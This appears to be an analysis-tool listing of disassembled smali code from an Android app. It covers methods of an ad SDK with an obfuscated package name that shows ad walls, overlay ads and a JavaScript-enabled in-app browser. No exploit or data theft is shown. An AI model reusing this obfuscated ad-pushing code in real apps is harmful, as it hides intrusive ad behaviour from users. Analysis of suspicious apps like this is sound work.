78 | invoke-virtual {v6}, Landroid/widget/ImageView;->getHeight()I | |
79 | move-result v6 | |
81 | iget-object v7, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
83 | invoke-static {v7}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView; | |
84 | move-result-object v7 | |
86 | invoke-virtual {v7}, Landroid/widget/ImageView;->getWidth()I | |
87 | move-result v7 | |
88 | sub-int/2addr v6, v7 | |
89 | div-int/lit8 v6, v6, 0x2 | |
90 | add-int/2addr v5, v6 | |
91 | add-int/2addr v4, v5 | |
93 | iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
95 | invoke-static {v5}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView; | |
96 | move-result-object v5 | |
98 | invoke-virtual {v5}, Landroid/widget/ImageView;->getTop()I | |
99 | move-result v5 | |
101 | iget-object v6, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
103 | invoke-static {v6}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView; | |
104 | move-result-object v6 | |
106 | invoke-virtual {v6}, Landroid/widget/ImageView;->getHeight()I | |
107 | move-result v6 | |
109 | iget-object v7, p0, Lprsolutions/rosariofacileads/Player$SampleView;->this$0:Lprsolutions/rosariofacileads/Player; | |
111 | invoke-static {v7}, Lprsolutions/rosariofacileads/Player;->access$100(Lprsolutions/rosariofacileads/Player;)Landroid/widget/ImageView; | |
112 | move-result-object v7 | |
114 | invoke-virtual {v7}, Landroid/widget/ImageView;->getWidth()I | |
115 | move-result v7 | |
116 | sub-int/2addr v6, v7 | |
117 | div-int/lit8 v6, v6, 0x2 | |
118 | add-int/2addr v5, v6 | |
119 | add-int/2addr v0, v5 | |
120 | new-instance v1, Landroid/graphics/Rect; | |
122 | invoke-direct {v1, v2, v4, v3, v0}, Landroid/graphics/Rect;-><init>(IIII)V | |
124 | iget-object v5, p0, Lprsolutions/rosariofacileads/Player$SampleView;->mBitmap:Landroid/graphics/Bitmap; | |
125 | const/4 v6, 0x0 | |
127 | iget-object v7, p0, Lprsolutions/rosariofacileads/Player$SampleView;->mPaint:Landroid/graphics/Paint; | |
129 | invoke-virtual {p1, v5, v6, v1, v7}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;Landroid/graphics/Rect;Landroid/graphics/Rect;Landroid/graphics/Paint;)V |
|
131 | invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V | |
132 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | const-string v2, "AirplaySDK" | |
4 | const-string v3, "Initialising AppWall....." | |
6 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
7 | sget-boolean v2, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z | |
8 | if-nez v2, :cond_11 | |
10 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallActivity()Z | |
11 | move-result v2 | |
12 | if-nez v2, :cond_12 | |
13 | cond_11: return-void | |
14 | cond_12: | |
15 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
16 | if-eqz v2, :cond_6b | |
18 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
20 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z | |
21 | move-result v2 | |
22 | if-eqz v2, :cond_6b | |
24 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
26 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextAdCallTime(Landroid/content/Context;)J | |
27 | move-result-wide v2 | |
29 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J | |
30 | move-result-wide v4 | |
31 | cmp-long v2, v2, v4 | |
32 | if-lez v2, :cond_42 | |
34 | const-string v2, "AirplaySDK" | |
36 | const-string v3, "AppWall called within 10 secs. Ignoring request" | |
38 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
40 | const-string v2, "AppWall called within 10 secs. Ignoring request." | |
42 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
43 | try_end_38: goto/16 :goto_11 | |
44 | catch_39: move-exception v1 | |
46 | const-string v2, "AirplaySDK" | |
48 | const-string v3, "Error occurred in appwall " | |
50 | invoke-static {v2, v3, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
51 | goto/16 :goto_11 | |
52 | cond_42: | |
53 | invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z | |
54 | move-result v2 | |
55 | if-eqz v2, :cond_55 | |
57 | const-string v2, "AirplaySDK" | |
59 | const-string v3, "Another ad is showing on screen." | |
61 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
63 | const-string v2, "Another ad is showing on screen." | |
65 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
66 | goto/16 :goto_11 | |
67 | cond_55: | |
68 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
70 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z | |
71 | new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$3; | |
73 | invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$3;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V | |
75 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
77 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
78 | move-result v2 | |
79 | if-eqz v2, :cond_11 | |
81 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V | |
82 | goto/16 :goto_11 | |
83 | cond_6b: | |
84 | const-string v2, "AirplaySDK" | |
86 | const-string v3, "AirPlay is disabled Please enable to recive ads." | |
88 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
90 | const-string v2, "AirPlay is disabled Please enable to recive ads." | |
92 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
93 | try_end_77: goto/16 :goto_11 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "position" # Ljava/lang/String; | |
1 | .prologue | |
2 | const/16 v0, 0x35 | |
4 | const-string v1, "top-right" | |
6 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
7 | move-result v1 | |
8 | if-eqz v1, :cond_d | |
9 | const/16 v0, 0x35 | |
10 | goto_c: return v0 | |
11 | cond_d: | |
12 | const-string v1, "bottom-center" | |
14 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
15 | move-result v1 | |
16 | if-eqz v1, :cond_18 | |
17 | const/16 v0, 0x51 | |
18 | goto/16 :goto_c | |
19 | cond_18: | |
20 | const-string v1, "bottom-left" | |
22 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
23 | move-result v1 | |
24 | if-eqz v1, :cond_23 | |
25 | const/16 v0, 0x53 | |
26 | goto/16 :goto_c | |
27 | cond_23: | |
28 | const-string v1, "bottom-right" | |
30 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
31 | move-result v1 | |
32 | if-eqz v1, :cond_2e | |
33 | const/16 v0, 0x55 | |
34 | goto/16 :goto_c | |
35 | cond_2e: | |
36 | const-string v1, "center" | |
38 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
39 | move-result v1 | |
40 | if-eqz v1, :cond_39 | |
41 | const/16 v0, 0x11 | |
42 | goto/16 :goto_c | |
43 | cond_39: | |
44 | const-string v1, "top-center" | |
46 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
47 | move-result v1 | |
48 | if-eqz v1, :cond_44 | |
49 | const/16 v0, 0x31 | |
50 | goto/16 :goto_c | |
51 | cond_44: | |
52 | const-string v1, "top-left" | |
54 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
55 | move-result v1 | |
56 | if-eqz v1, :cond_4f | |
57 | const/16 v0, 0x33 | |
58 | goto/16 :goto_c | |
59 | cond_4f: const/16 v0, 0x35 | |
60 | goto/16 :goto_c |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/webkit/WebView; | |
1 | .param p2, "errorCode" # I | |
2 | .param p3, "description" # Ljava/lang/String; | |
3 | .param p4, "failingUrl" # Ljava/lang/String; | |
4 | .prologue | |
6 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
7 | const/4 v2, 0x1 | |
9 | invoke-static {v1, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$302(Lcom/vxjxu/jkhfn1870/OverlayAd;Z)Z |
|
10 | try_start_6: | |
11 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
13 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V | |
15 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
17 | iget-object v1, v1, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
19 | invoke-virtual {v1}, Landroid/app/Activity;->finish()V | |
20 | try_end_12: | |
21 | invoke-super {p0, p1, p2, p3, p4}, Landroid/webkit/WebViewClient;->onReceivedError(Landroid/webkit/WebView;ILjava/lang/String;Ljava/lang/String;)V | |
22 | return-void | |
23 | catch_16: move-exception v0 | |
25 | const-string v1, "AirplaySDK" | |
26 | new-instance v2, Ljava/lang/StringBuilder; | |
28 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
30 | const-string v3, "Error occurred while loading Overlay Ad: code " | |
32 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
33 | move-result-object v2 | |
35 | invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
36 | move-result-object v2 | |
38 | const-string v3, ", desc: " | |
40 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
41 | move-result-object v2 | |
43 | invoke-virtual {v2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
44 | move-result-object v2 | |
46 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
47 | move-result-object v2 | |
49 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
50 | goto/16 :goto_12 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/Boolean; | |
1 | .prologue | |
3 | invoke-virtual {p1}, Ljava/lang/Boolean;->booleanValue()Z | |
4 | move-result v1 | |
5 | if-eqz v1, :cond_3b | |
7 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
8 | move-result-object v1 | |
10 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z | |
11 | new-instance v0, Landroid/content/Intent; | |
13 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
14 | move-result-object v1 | |
15 | const-class v2, Lcom/vxjxu/jkhfn1870/SmartWallActivity; | |
17 | invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
19 | const-string v1, "mfpad" | |
21 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
22 | const/high16 v1, 0x10000000 | |
24 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
25 | const/high16 v1, 0x800000 | |
27 | invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
28 | const/high16 v1, 0x20000000 | |
30 | invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
32 | const-string v1, "adtype" | |
34 | const-string v2, "MFP" | |
36 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
38 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
39 | move-result-object v1 | |
41 | invoke-virtual {v1, v0}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V | |
42 | goto_3a: return-void | |
43 | cond_3b: | |
44 | const-string v1, "AirplaySDK" | |
46 | const-string v2, "Not able to get doc." | |
48 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
49 | goto/16 :goto_3a |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "date" # Ljava/lang/String; | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/Exception; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
7 | new-instance v4, Ljava/text/SimpleDateFormat; | |
9 | const-string v6, "yyyy-MM-dd\'T\'HH:mm:ssZ" | |
11 | invoke-direct {v4, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V |
|
13 | const-string v6, "UTC" | |
15 | invoke-static {v6}, Ljava/util/TimeZone;->getTimeZone(Ljava/lang/String;)Ljava/util/TimeZone; |
|
16 | move-result-object v6 | |
18 | invoke-virtual {v4, v6}, Ljava/text/SimpleDateFormat;->setTimeZone(Ljava/util/TimeZone;)V | |
19 | const/4 v5, 0x0 | |
21 | invoke-virtual {v4, p0}, Ljava/text/SimpleDateFormat;->parse(Ljava/lang/String;)Ljava/util/Date; | |
22 | move-result-object v5 | |
24 | sget-object v6, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
26 | invoke-virtual {v6, v5}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V | |
27 | new-instance v2, Ljava/text/SimpleDateFormat; | |
29 | invoke-direct {v2}, Ljava/text/SimpleDateFormat;-><init>()V | |
31 | const-string v6, "UTC" | |
33 | invoke-static {v6}, Ljava/util/TimeZone;->getTimeZone(Ljava/lang/String;)Ljava/util/TimeZone; |
|
34 | move-result-object v6 | |
36 | invoke-virtual {v2, v6}, Ljava/text/SimpleDateFormat;->setTimeZone(Ljava/util/TimeZone;)V | |
38 | invoke-virtual {v2, v5}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String; | |
39 | move-result-object v3 | |
41 | invoke-static {}, Ljava/text/DateFormat;->getInstance()Ljava/text/DateFormat; | |
42 | move-result-object v6 | |
44 | invoke-virtual {v6, v3}, Ljava/text/DateFormat;->parse(Ljava/lang/String;)Ljava/util/Date; | |
45 | move-result-object v6 | |
47 | invoke-virtual {v6}, Ljava/util/Date;->getTime()J | |
48 | move-result-wide v0 | |
49 | return-wide v0 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .prologue | |
2 | const/4 v2, 0x0 | |
4 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
5 | try_start_4: | |
6 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
7 | if-eqz v2, :cond_d | |
9 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
11 | invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V | |
12 | cond_d: new-instance v1, Landroid/content/Intent; | |
14 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
15 | move-result-object v2 | |
16 | const-class v3, Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
18 | invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
20 | const-string v2, "playVideo" | |
22 | invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
24 | const-string v2, "url" | |
26 | invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
27 | const/high16 v2, 0x800000 | |
29 | invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
30 | const/high16 v2, 0x10000000 | |
32 | invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
34 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
35 | move-result-object v2 | |
37 | invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
38 | goto_33: return-void | |
39 | catch_34: move-exception v0 | |
41 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
43 | const-string v2, "89" | |
45 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
46 | goto/16 :goto_33 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "context" # Landroid/content/Context; | |
1 | .param p1, "enable" # Z | |
2 | .prologue | |
3 | try_start_0: | |
4 | const-string v3, "sdkPrefs" | |
5 | const/4 v4, 0x0 | |
7 | invoke-virtual {p0, v3, v4}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
8 | move-result-object v0 | |
10 | invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
11 | move-result-object v1 | |
13 | const-string v3, "SDKEnabled" | |
15 | invoke-interface {v1, v3, p1}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor; |
|
17 | invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
19 | const-string v3, "AirplaySDK" | |
20 | new-instance v4, Ljava/lang/StringBuilder; | |
22 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
24 | const-string v5, "SDK enabled: " | |
26 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
27 | move-result-object v4 | |
29 | invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; | |
30 | move-result-object v4 | |
32 | invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
33 | move-result-object v4 | |
35 | invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
36 | goto_2b: return-void | |
37 | catch_2c: move-exception v2 | |
39 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
40 | goto/16 :goto_2b |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "view" # Landroid/view/View; | |
1 | .param p2, "callback" # Landroid/webkit/WebChromeClient$CustomViewCallback; | |
2 | .prologue | |
4 | invoke-super {p0, p1, p2}, Landroid/webkit/WebChromeClient;->onShowCustomView(Landroid/view/View;Landroid/webkit/WebChromeClient$CustomViewCallback;)V | |
5 | instance-of v1, p1, Landroid/widget/FrameLayout; | |
6 | if-eqz v1, :cond_64 | |
7 | move-object v0, p1 | |
8 | check-cast v0, Landroid/widget/FrameLayout; | |
10 | invoke-virtual {v0}, Landroid/widget/FrameLayout;->getFocusedChild()Landroid/view/View; | |
11 | move-result-object v1 | |
12 | instance-of v1, v1, Landroid/widget/VideoView; | |
13 | if-eqz v1, :cond_64 | |
15 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
16 | check-cast p1, Landroid/widget/FrameLayout; | |
18 | invoke-virtual {p1}, Landroid/widget/FrameLayout;->getFocusedChild()Landroid/view/View; | |
19 | move-result-object v1 | |
20 | check-cast v1, Landroid/widget/VideoView; | |
22 | invoke-static {v2, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1102(Lcom/vxjxu/jkhfn1870/MraidView;Landroid/widget/VideoView;)Landroid/widget/VideoView; | |
24 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
26 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView; | |
27 | move-result-object v1 | |
29 | invoke-virtual {v0, v1}, Landroid/widget/FrameLayout;->removeView(Landroid/view/View;)V | |
31 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
33 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent; | |
34 | move-result-object v1 | |
35 | check-cast v1, Landroid/view/ViewGroup; | |
37 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
39 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView; | |
40 | move-result-object v2 | |
42 | invoke-virtual {v1, v2}, Landroid/view/ViewGroup;->addView(Landroid/view/View;)V | |
44 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
46 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView; | |
47 | move-result-object v1 | |
48 | new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$1; | |
50 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$1;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;)V | |
52 | invoke-virtual {v1, v2}, Landroid/widget/VideoView;->setOnCompletionListener(Landroid/media/MediaPlayer$OnCompletionListener;)V | |
54 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
56 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView; | |
57 | move-result-object v1 | |
58 | new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$2; | |
60 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$2;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;)V | |
62 | invoke-virtual {v1, v2}, Landroid/widget/VideoView;->setOnErrorListener(Landroid/media/MediaPlayer$OnErrorListener;)V | |
64 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
66 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView; | |
67 | move-result-object v1 | |
69 | invoke-virtual {v1}, Landroid/widget/VideoView;->start()V | |
71 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
72 | const/4 v2, 0x0 | |
74 | invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
75 | cond_64: return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "activity" # Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
1 | .param p2, "context" # Landroid/content/Context; | |
2 | .param p3, "url" # Ljava/lang/String; | |
3 | .annotation build Landroid/annotation/SuppressLint; | |
4 | value = { | |
5 | "SetJavaScriptEnabled" | |
6 | } | |
7 | .end annotation | |
8 | .prologue | |
9 | const/4 v1, 0x0 | |
10 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
12 | invoke-direct {p0, p2}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V | |
14 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setHorizontalScrollBarEnabled(Z)V |
|
16 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setVerticalScrollBarEnabled(Z)V |
|
17 | const/high16 v0, 0x2000000 | |
19 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setScrollBarStyle(I)V |
|
21 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setBackgroundColor(I)V |
|
23 | invoke-static {p1}, Landroid/webkit/CookieSyncManager;->createInstance(Landroid/content/Context;)Landroid/webkit/CookieSyncManager; | |
25 | invoke-static {}, Landroid/webkit/CookieSyncManager;->getInstance()Landroid/webkit/CookieSyncManager; | |
26 | move-result-object v0 | |
28 | invoke-virtual {v0}, Landroid/webkit/CookieSyncManager;->startSync()V | |
30 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->getSettings()Landroid/webkit/WebSettings; | |
31 | move-result-object v0 | |
32 | const/4 v1, 0x1 | |
34 | invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V |
|
36 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->plugin()V | |
38 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setF()V | |
39 | new-instance v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1; | |
41 | invoke-direct {v0, p0, p1, p1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$1;-><init>(Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;Lcom/vxjxu/jkhfn1870/BrowserActivity;Landroid/app/Activity;)V | |
43 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V | |
44 | new-instance v0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2; | |
46 | invoke-direct {v0, p0, p1}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;-><init>(Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;Lcom/vxjxu/jkhfn1870/BrowserActivity;)V | |
48 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->setWebViewClient(Landroid/webkit/WebViewClient;)V | |
49 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | const-string v2, "AirplaySDK" | |
4 | const-string v3, "Initialising LandingPage AD....." | |
6 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
7 | sget-boolean v2, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z | |
8 | if-nez v2, :cond_11 | |
10 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallActivity()Z | |
11 | move-result v2 | |
12 | if-nez v2, :cond_12 | |
13 | cond_11: return-void | |
14 | cond_12: | |
15 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
16 | if-eqz v2, :cond_6b | |
